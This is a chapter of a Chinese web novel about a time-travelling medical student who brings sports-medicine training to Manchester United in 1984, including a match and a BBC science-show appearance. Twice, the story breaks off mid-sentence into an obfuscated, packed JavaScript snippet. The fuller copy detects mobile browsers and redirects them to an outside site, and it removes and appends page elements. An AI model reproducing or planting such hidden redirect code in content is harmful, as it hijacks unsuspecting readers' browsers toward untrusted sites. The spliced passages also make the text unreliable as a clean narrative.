“不行。”顾沂拒绝，“只有通过特定的角度刮拭，才能达到松解筋膜粘连，促进血液循环的作用。” 旁边站着的两位开山大弟子立即拿出了小本本在纸上记下顾沂刚刚说的话，并开口询问道：“汤姆先生，这个工具是？” “筋膜刀，我自己请人做的。” 阿特金森看了说话的两个人一眼，心下叹息：整个曼联就是一个巨大的研究所，他们这些曼联球员都是试验品啊试验品！ 第二天，12月30号，当顾沂发现队友们在做核心激活的时候只做仰卧起坐，眉头便又皱了起来：经常这么训练核心，腰椎不要了？ 已经不想再吐槽这个年代被迫活得很糙的球员们了，他们也不想的，但没办法，现在全世界球员基本都这样，职业生涯特别短暂，能顺利踢到30还能上场那都能是传球老将了。 很多球员20来岁巅峰期一过很快被铲废，光速退役。还有在巅峰期就被……唉！甚至在不知道的地方，说不定就有天才因为不懂这些把自己练废…… 其实解决办法很简单，只需要从理疗诊所找一个大型的、充满弹力的橡胶球，最后让球员们在这橡胶球上做平板支撑和鸟狗式静态训练等等——顾沂在现实中就是这么训练的。 被通知要换种训练方式的曼联球员：不是？汤姆你不是来我们球队踢球的吗？怎么大家从来没在更衣室里看见过你？但大家一训练的时候你就出现了？ 你出现就出现，你怎么还经常整这老些花样呢？ “这真的有用吗？” “我们可以先去球场上比一下，”顾沂微微一笑，“你们，所有人都来抢我脚下的球，如果谁抢走了，那他就不用做这项训练。” “来就来！”曼联球员弗兰克·斯特普尔顿立即开口，“谁怕谁！” 众人一起前往球场，两个开山大弟子拿上尼康胶片单反相机，准备拍下顾沂的英勇身姿。 阿特金森站在场边摸了摸嘴角，忍住笑意：不是？汤姆这小子疯了吧？真以为自己那什么医学很牛？这么多人从他脚下抢一个球抢不过来？ 笑死，这些球员要真这么没用，全都**的直接退役吧，别**的踢球了！ 五分钟后，阿特金森脸上的笑容消失。 十分钟后，阿特金森转过身背对着球场，抬起胳膊抽了自己一巴掌：shit！真**的疼！我真没做梦？他们曼联这么多球员，一起上从汤姆脚下抢球，**的没抢到？！ 队友们不停地喘着粗气，顾沂额头都没一滴汗：开玩笑，这球场上要是一群罗布森，那顾沂肯定没办法。 但这不曼联就只有一个罗布森吗？在系统空间里，顾沂天天面对的是一群巅峰罗布森——现实中的罗布森状态可实在不怎么样。 顾沂背过手，将足球踩在脚下，微微抬起下巴，声音不大，“要学吗？” “要学！” “声音大点，”顾沂用小拇指掏了掏耳朵，“听不见。” “要学！！！” “很好。”顾沂露出笑容，“以后除非休假，在球队的每天都来抢一次球，谁从我脚下抢到球了，那谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“汤姆！我亲爱的哥哥！”杰瑞立即放弃脸皮，一个滑跪一把抱住顾沂的大腿，“救救我啊！我真的！真的想成为一个歌手！” “那你知道成为一个歌手最重要的是什么吗？” “是有实力！唱的好听！”杰瑞清了清嗓子，张嘴就想给顾沂来上一段，但是被顾沂一巴掌打在脑袋上给打断了。 “不，其实是名气。”顾沂又轻轻摸了摸杰瑞的脑袋，“再等一段时间吧，等我有名气了，你是我的弟弟，你还怕没有唱片公司找上你直接出歌吗？这段时间就先听爸的，先考个好大学。” “那你……你不介意我蹭你的名气吗？” “你是在唱歌，又不是做什么坏事。”顾沂摸着杰瑞的脸十分温柔地笑了笑，“当然，你要是做了什么坏事，打着我的名头欺负别人，那你晚上睡觉的时候最好睁着一只眼睛睡。” 杰瑞立刻抿紧嘴唇从地上爬了起来，刚溜出门突然想到什么又窜回来拿起顾沂放在鞋架上的鞋子，“汤姆！我去帮你刷鞋子！你不用谢我！” 顾沂：？ 我他喵那是新鞋子！你刷个毛线啊？ …… …… 1984年1月2号，元旦后的第一个工作日，英甲联赛，老特福德球场。 因为是主队比赛，虽然天气很冷，但还是有不少曼联球迷来到球场为自家球员挥舞旗帜——等等！坐在那边穿着西装手里拿着本子和笔还带着相机的人是谁？ 这是热刺球迷吗？怎么看着不太像啊？ 客队的热刺球迷也赶到了现场，他们也见到了坐在看台前面这一群奇怪的人：怪不得都说曼联有病呢，瞧瞧，他们这球迷看着也颠颠的。这是来看球的，还是来上课的？ 双方球迷都在心里嘀咕，都认为这是对方球迷，唯有一个电视台的解说员认出了其中一个“球迷。” “斯特拉.沃克？哦哦！我记得他！他可是我妈妈口中的骄傲，他今年刚刚考上了曼彻斯特大学医学院的学生！” “难道他是跟他的同学来一起看球了？” 解说员没说的是，这小子明明是利物浦的球迷啊，这怎么还来看曼联的比赛了？ 但解说员现在也只是嘀咕一句，因为也有可能是这小子的同学组织的看球活动，那个同学刚好喜欢曼联而已。 很快，解说员便忘记了这件事，比赛正式开始。 曼联这边是标准的英式冲击打法，而热刺则是更加细腻的传控踢法。这两种踢球方式也没有谁比谁高贵，在比赛进行到第60分钟的时候，曼联球员弗兰克.斯特普尔顿用一记典型的英式中锋头球破门，曼联1:0领先热刺。 十五分钟后，热刺球员克鲁克斯扳平了比分，曼联1：1热刺。 替补席上，顾沂站了起来并直接走下看台。 阿特金森习惯性地抬头一看，见到顾沂正在下台阶，秒懂：哦~好的，懂了，他该换人了。 “阿特金森做出了调整！他换下了……等等，他换上了谁？这是一个从未见过的年轻面孔！” “镜头给到了替补席……不对，他已经开始在球场上热身了……” “好奇怪的热身动作……好吧，这不重要，重要的是，这到底是谁？替补名单上的汤姆.阿利斯泰尔.沃森？他不是才刚刚入曼联吗？” “阿特金森到底在想什么？这可是新年大战！他竟然把赌注押在了一个学生身上？！” 坐在看台上的奇怪球迷们纷纷拿起了相机对准了站在球场上的顾沂，十分安静地等待比赛开始。 “嘟——” 主裁吹哨，比赛继续。 比赛第85分钟，雷·威尔金斯在中场拿球，被热刺队员包围后，立即将足球分给了人在边路的顾沂。 “威尔金斯把球分给了边路的……汤姆？”解说员的麦差点因为他过于尖利的嗓音炸掉，“OMG，我只能说这确实很出其不意，因为热刺的球员压根没想到威尔金斯竟然在罗布森和汤姆中间选择了汤姆。” “难道威尔金斯很喜欢汤姆猫？他在爱屋及乌？那要是热刺球员给自己改名掉汤姆，威尔金斯会把足球传给他的对手吗？” “汤姆拿到了球，他没有盲目传中，他在观察……作为一个新人，他应该——哦！漂亮的转身！他过掉了第一个防守队员！” 顾沂带球内切，直接闯入了热刺的禁区。 “泰勒！起脚射门！” “GOALLLLL！球进了！球进了！！！” “不可思议！难以置信！汤姆.阿利斯泰尔.沃森，这个刚刚加盟曼联，第一场踢职业联赛的汤姆.阿利斯泰尔.沃森，打进了制胜一球！” “老特拉福德陷入了疯狂！阿特金森在场边挥舞着拳头，很明显，他赌赢了！这个长相格外帅气的球员竟然不是个花瓶，他能进球！” “听听这现场的欢呼声吧！毫无疑问，汤姆，他今天是曼联的英雄！！！” 上午比赛踢完，下午顾沂就上了本地媒体 《曼彻斯特晚报》。 报纸头版标题是《学生汤姆的“完美处方”！》 副标题：曼彻斯特大学医学院天才替补登场，最后一刻“治愈”曼联！ 【当比赛陷入僵局，最终的胜利无法预测时，罗恩·阿特金森开出了一剂十分大胆的‘新药’——20岁的医学生汤姆.阿利斯泰尔.沃森。在今天这场比赛中，汤姆用一记冷静如手术刀般的射门，证明了自己！】 第二天早上，《泰晤士报》这种全国性大报也跟着报道了这件事，不过不是头版头条，而是在体育版的头条。 《知识的力量：汤姆.阿利斯泰尔.沃森或将为曼联注入智慧！》 【据悉，汤姆.阿利斯泰尔.沃森是一名医学院的天才医生，他创造性地提出了“运动医学”这一全新学科并并被曼彻斯特大学医学院所认可。 汤姆本人，是在试训失败后重新用“运动医学”武装自己，成为一名优秀的足球运动员的“最佳武器”，甚至他本人就是他所提出的“运动医学”最大的试验品。 而现在，曼联也成为了下一个运动医学的“试验品”。 运动医学究竟是好是坏，也许我们很快就能看到这个答案。】 “哇！汤姆！汤姆！”杰瑞举着报纸一路冲进了房间，将报纸展示给顾沂看，“你上了《泰晤士报！》那可是《泰晤士报》唉！” 顾沂瞥了一眼报纸内容，言简意赅，“买的。” “啊？” “你没看一直在提运动医学吗？” “哦哦，是哦。”杰瑞挠挠头，正要离开发现顾沂正穿着西装打着领带，好像要去什么地方。 “你要去哪里？”杰瑞一把抱住顾沂的胳膊，“能带上我一起吗？” “BBC，”顾沂抽出自己的胳膊，“好像是什么《明日世界》。” “明日世界？！”杰瑞一蹦三尺高，随后再次扑通一声跪下，一把抱住顾沂的大腿，“带我去！带我去！” “我是去科普运动医学的。” 杰瑞双手合十，不停地冲顾沂拜拜，“拜托拜托！我就是去现场感受一气氛，绝对不给你捣乱！” “不行哦。”顾沂摇头拒绝，弯下腰揪住杰瑞的衣领，用力，将人直接拽起来，“这次是比较重要的节目，我没有多余的时间盯着你。” 杰瑞立即举手发誓，“我保证不会捣乱！” “虽然你不是那只老鼠杰瑞，但你调皮捣蛋的本事可一点都不必它小。”顾沂十分坚决，“你不捣乱？我不信。” 杰瑞眼泪汪汪，“难道人跟人之间最基本的一点点信任也没有了吗？” “嗯。” “呜呜呜呜呜……” “我新买的阿迪达斯被你刷完之后怎么穿就到你脚上了？” 杰瑞哭声戛然而止，他抿紧嘴唇，背过手，默默往后挪。 顾沂忍不住吐槽道：“我脚比你大吧，你穿上去就不怕掉吗？” “就~”杰瑞眼神乱飞，“就，嗯……之前买了点垫子啊……” “早有准备是吧？” “嘿嘿~”杰瑞尴尬一笑，“那，那什么！我突然想起我书还没背完呢！我现在就去背书，我还要考大学呢！” 顾沂：无FXKK说。 6. 第 6 章 《明日世界》自1975年开播以来一跃成为英格兰现象级的国民科普节目，是英国电视科普的黄金标杆。 节目主持人更是BBC王牌詹姆斯·伯克，每周，有数百万英格兰家庭守在电视机前观看，是这个年代当之无愧的国民节目——安妮就是这档节目的忠实观众，听到顾沂要上节目后十分兴奋。 “詹姆斯·伯克~那可是詹姆斯·伯克！OMG~”安妮双手交叠放在胸前，表情陶醉，“这简直是我这些年听到过的最好的消息！” 理查德在一旁搂住安妮默默点头，“对，你妈妈的意思是如果可以的话，帮忙请詹姆斯先生签个名。” “是的！”安妮用力点头，“我就是这个意思。” “好的。”顾沂点头，“没问题。” 于是当顾沂在BBC电视台见到詹姆斯·伯克的时候，第一句话便是，“詹姆斯先生你好，我是看着你的节目长大的。” 嗯……懂的都懂，这句话在顾沂那个年代就是句客套话，但在这个年代，詹姆斯·伯克，他信了。 在得知顾沂出生于1963年后，詹姆斯便十分兴奋地拉着顾沂去见了节目导演、编导，塞给顾沂一大堆周边，还现场改了开场词。 “各位观众晚上好！今晚，我们请来了一位非常特殊的嘉宾，特殊在哪里呢？”詹姆斯笑了一下，“他是我的一位小粉丝，从小看着我的节目长大，考上了曼彻斯特大学医学院，是一位医学天才。” “当然，如果只是这样似乎也不应该来到我们的节目，但如果我说，他未来会是我们英格兰最年轻的医学教授呢？” “现在，让我们欢迎——汤姆.阿利斯泰尔.沃森！！！” 激昂的带着鼓点节奏的音乐响起，顾沂踩着节拍走上了舞台正中心。 “欢迎你，汤姆！”詹姆斯上前一步同顾沂拥抱，“可以跟我谈谈你们曼彻斯特大学医学院新设立的学科运动医学吗？” “当然可以。”顾沂立即接话，“其实运动医学这个概念可以追溯到很久之前……对于业内人士来说，提起运动医学可能最先想到的是1964年创刊的《英国运动医学杂志》，但我今天要讲的运动医学并不是现在大众意义上所理解的运动医学。” “从方法论来说，现在的研究方向更倾向于宏观、群体化和回顾性分析。就比如说在前段时间，他们做了一个实验，统计了一百名球员的伤病类型，得出了一个结论是‘前锋易拉伤’。这个结论是正确的吗？当然是正确的，但是这个结论对现役球员来说，是有意义的吗？” 詹姆斯在一旁立即接话，“这肯定没有了，而且这个结论很无聊，因为但凡是经常看球赛的人都会知道前锋很容易拉伤。” “没错，对球员来说没有意义。而我，现在所提出的运动医学对球员，或者说对所有的运动员来说都是有意义的。” “哇哦~”詹姆斯忍不住打断了顾沂，有点担心这小子是在说大话，“真的吗？你现在所研究的运动医学这么厉害吗？” “是的。”顾沂点头，“我现在所做的是微观、个体化和预测性的干预，比如对一位前锋进行步态分析，预测他下一次在比赛中拉伤的概率并针对这一点制定个性化的矫正方案。” “我们现在所研究的重点不是去治疗已经发生的损伤，不是去让球员断裂的韧带长得更好，而是通过强化薄弱肌群和优化发力模式，让韧带根本不会断裂。” 前情提要到此为止，詹姆斯又用自己幽默风趣的语言开始总结上一段，开启下一段：在大屏幕上播放由曼彻斯特大学计算机系生成的3D骨骼肌肉模型。 “腘绳肌拉伤不是偶然，当大腿前侧股四头肌过度紧张，就会……” 话音落下，屏幕上就演示出了肌肉拉扯导致撕裂的过程。 “而且非常值得一提的是，腘绳肌拉伤它并不是一个突然性的事件，而是一个慢慢累积的过程。而现在我们曼彻斯特大学医学院所要做的事情，就是在腘绳肌拉伤之前，将这个慢慢累积的过程给它消灭掉。” 詹姆斯偏头看向顾沂，“那汤姆，你现在方便跟我们的观众们讲一下这个过程吗？” “当然。”顾沂笑着点头，“其实秘诀就只有两个字，平衡。在曼联，现在所有的球员都在用弹力带训练臀中肌，目的就是为了维持骨盆稳定，从根源上预防拉伤。除此之外，在高强度的运动之后，我们会用筋膜刀来为所有的运动员放松肌肉，打破深层次的筋膜粘连。” 屏幕上开始播放罗布森被顾沂用筋膜刀“按摩”的图片。 “在这里，我非常建议所有球队的队医都学会用‘筋膜刀’来帮助队员在比赛结束后放松身体。队医们的按摩是帮助队员被动放松，而用筋膜刀则是主动唤醒和重塑。” “打个比方吧，”顾沂顿了顿，从脑海里打开文档扒拉了一下自己的记忆，“我的妈妈安妮女士她之前有一件穿了很久的打结了的羊毛衫，如果单纯的去用手去揉搓这件毛衣，毛衣会短暂地变得松软，但这件毛衣的结还在，再穿一阵子它就又会变紧。” “这个就是现在传统的按摩，它只能促进血液循环，暂时的缓解酸痛。而对于酸痛根源，那个结，那个导致你酸痛的罪魁祸首，传统的按摩根本没有办法解决。” “如果你用筋膜刀，那就相当于用了一把特质的梳子去精准地找到那个结，将这个结给梳开、理顺。” “虽然这个过程会很疼，但是这个结它会被彻底的消灭，你就没有了后顾之忧。”顾沂看向镜头，“如果没有被消灭，反复出现的筋膜粘连会让你的肌肉筋膜失去弹性，你的身体会变得僵硬，当你在球场上踢球的时候就会感觉自己身体发紧，发力不畅。” “如果你现在已经出现了这个症状，那你接下来就要小心了，因为现在，你的肌肉已经变成了一根老化的橡皮筋，也许就是一场比赛中一次简单的急停变向，你的肌肉刚好到了这个临界点，那么——”顾沂将两只手“啪”地一声拍在一起，随后又分开，“你最好祈祷自己足够幸运。” “那汤姆，如果我们已经遇到了这种情况，想要解决这个问题要怎么办呢？” 詹姆斯在一旁提问，表情一直很严肃的顾沂突然有点绷不住想笑：怎么办？他怎么感觉自己现在像是那个广告里的十年老苗/蒙等等来自各个民族的老医生，跟主持人一唱一和来给家人们送福利卖药的？ 现在就快拨打电视下方电话号码抢购吧！先到先得，福利多多哦！ “嗯……”顾沂垂下眼眸，努力保持脸上的严肃表情，“筋膜刀是我之前训练的时候自己订做的，不过现在我们医学院已经准备了很多筋膜刀，并且已经有不少学生学会了该如何正确的使用筋膜刀。” “所以如果有需要，那就直接去曼彻斯特大学医学院的运动医学学科研究室，我们会为您提供帮助的。” 怎么办？虽然是早就准备好的剧本，看的时候没啥，怎么演的时候就那么像个骗子搁这打广告呢？ 在顾沂头脑风暴劝自己不要再分神了的时候，詹姆斯已经进入了下一趴：他假装十分不经意地问起了刚刚顾沂提到的训练。 “哦~我刚刚听到了什么？在你自己训练的时候订做了筋膜刀？” “是的，在1980年，当时我的身体素质很差。但是经过三年多系统性的训练，我现在已经拥有了一位合格的足球运动员所应该拥有的身体素质。” 詹姆斯立即提出了现场测试，问顾沂敢不敢测一测。 “当然！” 节目组准备的十分充分，第一项就拿出了便携式的心率监测仪让顾沂带上。 在固定单车上进行两分钟的极限冲刺后，詹姆斯记录下了他的最高心率：195次/分。 “oh！我的上帝啊！”詹姆斯瞪大了眼睛，特意绕到顾沂面前盯着他的脸看，“这不像啊！这真的不像啊！这完全就是顶级运动员的水准！” 在运动停止一分钟后，顾沂的心率下降70次，从195降到了125。 “哇哦！”詹姆斯一把抓住顾沂，扭头看向节目组请的专家，“我能问一下，汤姆这是什么水平吗？” “一般普通人的心率恢复值能达到40次就是优秀，而汤姆，我现在只能说他甚至可以去开战斗飞行机。” 第二项测试是爆发力测试，现场准备了刻度墙和高速摄像机，让顾沂在原地纵跳和摸高，最后再由专家通过慢速回放分析一二。 节目组请的专家这个时候就都有点坐不住了，“90cm！这个高度意味着他拥有十分恐怖的瞬间爆发力！汤姆争抢头球的优势绝对是无与伦比的！” 第三项测试是Y型平衡测试，节目组用胶带在地面贴出了Y型图案。 顾沂单腿站立，另一条腿分别向前、向后内侧、向后外侧三个方向尽可能远地伸展并触碰到测量点。 专家：？？？ 不是？这到底是什么情况？这档节目开始前不是专门给他塞了红包，说让他帮忙找补两句，说这位汤姆先生就是个医学生不是专业球员，数据过得去就行了——你他**的这不是玩我吗？这他喵的还需要我找补？！ “完美！”专家完全控制不住自己的面部表情了，“汤姆的髋关节灵活性、核心稳定性和身体控制力都处于绝对均衡的顶级状态！” 接着，这次测试来到了最后一项：节目组的工作人员端上了自制的反应灯，几个不同颜色的灯泡随机亮起，顾沂需要在灯泡亮起的那一瞬间，用手拍灭对应的按钮。 詹姆斯亲自站在一旁掐秒表，随后大惊小怪，不停地发出尖叫声。 “上帝啊！上帝啊！0.15秒！汤姆他在0.15秒内完成了识别和击打！他的准确率甚至高达100%。” “这不可能！”专家再也绷不住，失声尖叫：“这怎么可能呢？他的反应速度怎么会这么快！这不科学！” 系统：啊？ 本系统让他在现实中练习，已经非常科学了。（狗头） 大屏幕上放出1980年，顾沂，哦不，汤姆在曼彻斯特文法学院时的数据，在曼城试训时的数据，以及刚刚顾沂在节目组上测出的数据的简单对比。 詹姆斯握住顾沂的手，语气十分激动，“这就是运动医学？” 顾沂点头，“这就是运动医学。” “我，我也可以吗？训练上几年也可以像你这样吗？我听说你有一份训练计划？你就照着这份训练计划练习了整整三年多的时间？” “是的。” 节目组适时放出了顾沂的“训练计划”，詹姆斯回过头看向屏幕，顿时倒吸一口凉气。 “你，你严格地按照这份训练计划训练了三年多？！” “没错。” 詹姆斯立即偃旗息鼓，“不，这太难了，让我坚持三年过这种生活，我完全坚持不住的。” 顾沂伸手拍拍詹姆斯的肩膀，笑着安慰道：“没关系的，其实……嗯，如果你练的话，想要像我现在这样大概可能需要更长的时间，而且有一个问题你还必须要解决。” 詹姆斯抬头看向顾沂，“什么？是什么？” 顾沂有些不好意思地笑了一下，“是一个像我这样的，能十分清楚你全身上下每一块肌肉，知道应该用哪块发力的医生。不能自己瞎练，不然可能不仅没有效果，还会让自己受伤。” 詹姆斯搂住顾沂，“那如果有你一直盯着我，帮助我呢？我需要训练几年时间才能像你这样？” “八年或者十年吧。” 这是系统计算出来的，非常标准的答案。当然，也可能会更久……毕竟系统它老爱整点黑科技来着。 而顾沂，他到现在也不知道当他在现实世界训练的时候，系统有没有给他加点黑科技外挂。 他现在能拿出来做研究项目的，能用来写论文发表的，基本上都是他能在现实里捣鼓出来的。 “哦~”詹姆斯一脸颓丧，“看来我这辈子是没有可能成为一个球员了。” “但詹姆斯先生你已经是一位非常优秀的主持人了啊~” 詹姆斯哈哈一笑，瞬间满血复活，一把搂住顾沂向观众告别，“那么好的，各位观众朋友们，我们今天的节目到这里就要跟大家说再见了。” “那么汤姆，在节目的最后，你还有什么想要说的话吗？” 顾沂扭头看向詹姆斯，“我的妈妈，安妮女士她很喜欢你，你可以在这里跟她说一声祝她身体健康幸福美满吗？” “哇哦~”詹姆斯表情夸张地捂住自己的胸口，“我的心都快要被你融化了汤姆，当然！这当然可以了。” “安妮女士，”詹姆斯站直了身体，面上带着笑容，“祝你身体健康，幸福美满，永远年轻！” “同样的，也祝正在收看电视的观众朋友们身体健康，幸福美满，我爱你们~谢谢！” 节目到这里就结束了，顾沂跟主持人詹姆斯往外走的时候，专家还坐在那里不停地抓着头发，嘴上一直说着“这不可能”，工作人员站在一旁安慰他：求求了，快走吧，你走了我们还要收拾场地呢！ …… …… 《明日世界》并不是一档直播节目，毕竟科普内容需要精准无误，而录播允许后期的校对和剪辑。 节目通常会在周四晚上的黄金时段，也就是晚上8点播出，如果这期节目很有料，那一般情况下，经过周五的媒体发酵，就能在周末迅速成为社会热议话题。 时间很快就来到了周四晚上，沃森一家在吃完晚饭后围坐在一起看电视。 因为顾沂是全程录制的，想着估计剪出来会有点无聊，但没想到……嗯，怎么说呢，节目组把人家专家当逗号使用了，还是，有那么点幽默的？ 当顾沂在前面说一些比较枯燥的理论时，一有气口，就出现个表情严肃的专家，旁边打出一行字：我不信！ 当顾沂开始在节目上做测试的时候，节目组直接放专家的原声大碟：“这不可能！” 电视画面里，专家的脸被放大放大再放大，紧接着画面一转，来到了一座球场上，节目组找了十几个英格兰知名专业健身教练，让他们按照顾沂第三阶段的每日训练计划练上一天。 “这太难了！光是坚持一天就很累，怎么可能会有人在这种高强度的训练下坚持一年呢？” “是的！就算能坚持下来那也是强行坚持，他的身体绝对已经不行了！” “这种训练完全就是在拿自己的身体健康开玩笑！朋友们，千万不要这么跟着他练，你们会把自己送进医院的！” “逗号”又出现了，但这次不是在喊“这不可能”，而是抱着脑袋看上去十分迷茫的样子。 “这很有可能！”詹姆斯出现在屏幕正中间，手里拿着话筒，“观众朋友们，所有人都在说不可能，但汤姆他拒绝这种不可能。” “这是运动医学？是的，这就是运动医学！” 在节目最后，詹姆斯又重复了一下之前给曼彻斯特大学医学院打的广告，这次是詹姆斯自己直接说的，应该是后期补录的。 等看到这里，顾沂就忍不住坐了起来，果然，下一刻，电视里就传来了詹姆斯的声音。 “祝安妮女士身体健康，幸福美满，永远年轻！” “哦~汤姆！”安妮立即转身一把抱住了顾沂，眼泪瞬间就落了下来，“谢谢，谢谢你的祝福，我很开心。汤姆，我也祝你永远年轻，祝你幸福、快乐。” 杰瑞坐在一旁抓耳挠腮：不是？就这么结束了？汤姆你骗我啊！刚刚那么好的场合你怎么就没提一嘴我的名字啊？ 杰瑞探头，他想说点什么，但还没来得及张嘴就被理查德拽住衣领揪到了自己跟前。 理查德板着脸看着杰瑞，“你想干什么？” 杰瑞撇嘴，转头，翻白眼。 理查德抬手就要给杰瑞的后脑勺一巴掌，杰瑞十分熟练的下蹲躲过巴掌，随后直接滑出客厅，三两步冲上二楼自己的房间，关门，顶住，一气呵成，非常熟练。 …… …… 顾沂，包括曼彻斯特大学医学院推动这件事的人都认为，想要引起整个社会广泛的讨论度估计要等到周末了，但没想到周四晚上播出后，周五这天这档节目就在整个英格兰引起了蘑菇蛋级别的反响。 《曼彻斯特晚报》：我们的天才！曼彻斯特之子汤姆.阿利斯泰尔.沃森定义足球未来！ 《太阳报》：告别冰袋！曼联新秀汤姆：传统足球康复就是shit！ 《每日镜报》：曼联神医？运动医学堪比外星文明！ 《泰晤士报》：从实验室到球场，汤姆：球员or医学教授？ 看完这期节目的曼联球员：汤姆！汤姆你上完节目还回来吗？ “汤姆他现在虽然每天都会来训练，他确实很认真。”罗布森磨了磨后槽牙，脸上的表情有些疑惑，“但我总觉得，他好像就是来专门训练的。” “汤姆他不是还盯着我们训练，改了以前所有的训练办法……” “是！”罗布森打断了队友的话，“汤姆他最开始是这样的，但是现在他每天都在带新的学生教导他们！再照这样发展下去，那总有一天，他可能就不会亲自来，只让他的学生过来了……” 曼联更衣室的气氛慢慢沉寂下来，众人心情复杂，是一种说不上来的感受。 利物浦、阿森纳的主帅在比赛开始前的新闻发布会上阴阳怪气：“足球是踢出来的，不是算出来的，更不是在实验室里研究出来的。” “他说得再好有什么用？曼联的成绩不是还那样？” 大多数俱乐部主帅都是这个反应：赢球，难道不是靠球星，靠战术，什么时候还靠上这个什么运动医学？这不是开玩笑吗？ 俱乐部主帅：“竟然找一个医生当球员？曼联它完全玩了一手烂棋！” 表面上是这么说的，但是私下里，所有主帅都疯狂催促手下的球探去找顾沂的经纪人：把汤姆.阿利斯泰尔.沃森带到我们球队！我不管他那个什么医学不医学的，就这么好的身体素质，我签下他把他摆在更衣室看着，那我的心情也很好啊！ 而大多数足球俱乐部的球员，尤其是刚好被顾沂说中，在比赛结束后腿很酸痛，被按摩过后下次更加酸痛，能清楚地感觉到自己的肌肉已经有点“死”了的球员：要不，去试试？反正曼彻斯特大学也不远，他也不是没有钱？ 广大球迷：我靠！这个刚刚在1月2号的比赛中帮助曼联战胜热刺的球员竟然是个医生？还是个准教授？他这……我……他这说的话听着还挺有道理的啊。 主帅！听见了没！快点安排队医去曼彻斯特大学医学院学习啊！别让我们家主力一天到晚老受伤了！ 而不怎么关注足球的大多数英国普通民众就是另外一种反应了：嘿，这小子是谁？咋长嫩个帅？还是个医生？ …… 在普通英国民众心里留下了“运动医学”的印象后，顾沂先前写的论文也一篇接着一篇刊登出来。 除了最开始的那一篇《论运动医学在足球中的实践和应用》外，还有另外三篇更加详细、具体，在苏珊娜阿姨和院长口中具有无与伦比的超前性和实用性的三篇论文。 《基于生物力学建模的足球运动员非接触性腘绳肌损伤预测与预防策略》 在这篇论文里，顾沂根据自己在系统中反复实验、计算后，在现实中重复多次实验，手下的学生基本上也能完成这个实验后，提出并建立了可以被量化的、可预测的模型。 建立了一个基于球员跑动姿态、肌肉激活顺序等参数的数学模型，来预测球员的伤病风险。 《高强度间歇训练对足球运动员有氧/无氧代谢能力影响的代谢组学研究》 在这个年代普遍还在用“12分钟跑”测试体能时，顾沂提出了分子代谢，并详细阐述了高强度间歇训练如何优化运动员的能量供应系统。 《功能性动作筛查在青少年足球运动员选材与长期发展中的应用前瞻》 这是院长奥丽薇亚特意让顾沂写的，别的可以不关注，但是青少年的问题是一定要关注的。 顾沂之前也没了解过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538299|186298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个啊，憋了好几天，查阅了无数现在已经有的，在青少年足球这方面的所有论文后，首次系统性地提出了不应只看重青少年球员的即战力和技术，而是应该直接评估其身体功能是否存在代偿和不对称，从而直接从源头上避免未来的重大伤病。 论文发表后，立即引起了国内外运动医学界的巨大争论和关注：原本以为你就是在节目上唱大戏骗经费，但你**的真研究出东西了？ 不过跟英格兰国内普通民众的反应不一样，学术界的传统学者第一时间就批评了顾沂，认为他的理论太过激进，他这个人也太过激进了！拿自己当什么试验品？这是什么行为？这是完全不理智的行为！ 但随着论文的发酵，随着越来越多的学术界学者看到这篇论文，支持顾沂的声音就犹如浪潮般涌来。 尤其是年轻一代的学者，激进一点的直接说顾沂就是他们的指路明灯！ 瞧瞧这话说的，太过分了！硬生生让顾沂晚上没能第一时间进入系统搞研究，愣是在被窝里笑了个半个小时才进入的系统。 整个一月份就这么热热闹闹地过去了，进入1984年2月，顾沂的作息也愈发规律。 早上起床先到曼彻斯特大学医学院，先给所有来听运动医学的老师和学生上课，回答他们的问题。 等课讲完后就从现场的学生中挑出几个刚刚表现好的，带着他们到曼联参与实践：指导曼联球员正确地完成每日训练。 至于比赛……咳咳，那什么，他忙着在现实中写论文呢，没那么多时间和精力。 第四阶段的训练进度被顾沂往前推进了一大截，他还在现实中一直研究医学：这日子过得实在是太爽了，完全是顾沂小时候梦想中的生活。 3月初的时候，一个意想不到的人找上了顾沂：格伦·霍德尔。 热刺球员，英格兰技术流中场的宗师级球员，以传球和视野闻名。 曼联会议室 格伦·霍德尔和他的经纪人坐在了顾沂的对面。 “就在前段时间，我们热刺的队医也去了你们大学跟着那些老师学筋膜刀，学成归来很有用。对了，他们还特意买了你们大学特制的筋膜刀呢。” “最近这段时间，每场比赛你们曼联的球员状态都很好，而且他们感觉都没受过伤，尤其是你们的队长罗布森，他甚至没有再犯过旧伤了。”格伦·霍德尔抬头看向顾沂，眼睛里闪着希望的光，“是因为你，对吗？” 顾沂点点头，“我之前看过你的比赛，是脚踝的问题对吗？” 格伦·霍德尔立即点头，“现在有点越来越严重了，我看罗布森他……嗯，就是，能不能，也帮我看一下？” 顾沂没有拒绝，但有的事情还是要提前说明的，“可以。但有一个问题，就是你需要成为一个案例……” “可以！”格伦·霍德尔直接打断了顾沂的话，“只要能治好我的脚踝，你让我给你当luo体模特都行！” 顾沂无奈，“倒也不必这样，那我这边准备一下，你明天早上十点到医学院那边新建的运动医学研究室。” “好，我一定会到的！” 霍德尔作为一名技术流中场大师，他的致命武器是原地摆脱、精准长传和手术刀直塞。 但是！这些所有的动作都极度依赖脚踝的灵活性和稳定性。 年轻的时候霍德尔从来不把这当一回事，有时候在球场上受伤了打个封闭针就直接上场了，现在年龄大了，想治，人都说没救了，再踢两年就赶紧退役吧。 但是霍德尔他不想这么早退役，他还想踢球，他还想在球场上驰骋，只要还有一丝可以治愈脚踝的希望，那他就不会放弃！ 于是，第二天早上，不到七点呢，运动医学研究室的门还没开呢，霍德尔人就已经在外面等着了。 早上十点，顾沂准时到达研究室，他的心情相当不错。 就在昨天晚上，顾沂对于系统的利用再次达到了一个新的台阶：他，十分成功的在系统提供的实验室里，让系统将原本的标准大体老师变成了1984年格伦·霍德尔，跟现实中一模一样，伤病也完全一样！ 